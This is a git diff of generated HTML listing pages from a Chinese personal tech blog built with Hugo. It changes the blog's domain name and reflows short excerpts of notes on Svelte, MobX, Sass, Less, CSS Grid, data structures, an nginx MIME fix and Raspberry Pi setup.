-&lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://xiaochenabc123.github.io/posts/80/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+function aClick() { count += 1 } ... &lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://chenjunlinabc.github.io/posts/80/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Mobx学习笔记</h2></header><div class=entry-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
-或者
-yarn add mobx mobx-react --save
-导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx"
-import {observer} from "mobx-react"
-注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from "mobx" import {observer} from "mobx-react" 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
-configure({enforceActions: true})
-observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
-console.log(appdata[1])
-appdata = observable({a:1,b:2,c:3})
-console.log(appdata.a)
-appdata.a += 1
-console.log(appdata.a)
-appdata = observable.box(100)
-console.log(appdata)
-响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
-return this.count * 2
-},
-increment(){
-this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://xiaochenabc123.github.io/posts/78/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this....</p></div><footer class=entry-footer><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Mobx学习笔记" href=https://chenjunlinabc.github.io/posts/78/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Sass学习笔记</h2></header><div class=entry-content><p>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass –save-dev
 当然也可以安装ruby，通过gem托管服务进行安装sass
@@ -102,22 +66,10 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
-#app{
-color: $color;
-}
-变量也可以嵌套到属性中
-$right: right;
-#app{
-margin-#{$right}: 50px;
-}
-运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
-width: 100px + 20px;
-height: (300px / 3) * 2;
-}
-嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://xiaochenabc123.github.io/posts/51/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：...</p></div><footer class=entry-footer><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Sass学习笔记" href=https://chenjunlinabc.github.io/posts/51/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
 安装less
@@ -139,11 +91,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
-#app{
-background-color: @color;
-}
-less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -153,26 +101,9 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
-width: 100px;
-div{
-width: 60px;
-}
-}
-伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
-width: 100px;
-a{
-color: #000;
-&:hover{
-color: @color;
-}
-&::before{
-width: 30px;
-}
-} }
-less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://xiaochenabc123.github.io/posts/50/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/4/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://chenjunlinabc.github.io/posts/50/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/6/index.html" "b/categories/\351\273\230\350\256\244/page/6/index.html"
index baf118b2..0db1d56b 100644
--- "a/categories/\351\273\230\350\256\244/page/6/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/6/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
 程序设计 = 数据结构 + 算法
@@ -55,7 +55,7 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://xiaochenabc123.github.io/posts/49/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
+如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://chenjunlinabc.github.io/posts/49/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -73,7 +73,7 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://xiaochenabc123.github.io/posts/45/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
+grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://chenjunlinabc.github.io/posts/45/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
 十进制（整数）转二进制一般使用"除2取余，逆序排列"法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -83,14 +83,14 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://xiaochenabc123.github.io/posts/43/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://chenjunlinabc.github.io/posts/43/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://xiaochenabc123.github.io/posts/39/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://chenjunlinabc.github.io/posts/39/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>配置树莓派笔记</h2></header><div class=entry-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -100,21 +100,15 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
-ssid="wifi的名字"
-psk="wifi的密码"
-key_mgmt=WPA-PSK
-priority=1
-}
-update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid="wifi的名字" psk="wifi的密码" key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://xiaochenabc123.github.io/posts/29/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/5/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+依次操作：Interfacing Options -> VNC -> Yes...</p></div><footer class=entry-footer><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 配置树莓派笔记" href=https://chenjunlinabc.github.io/posts/29/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/5/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," 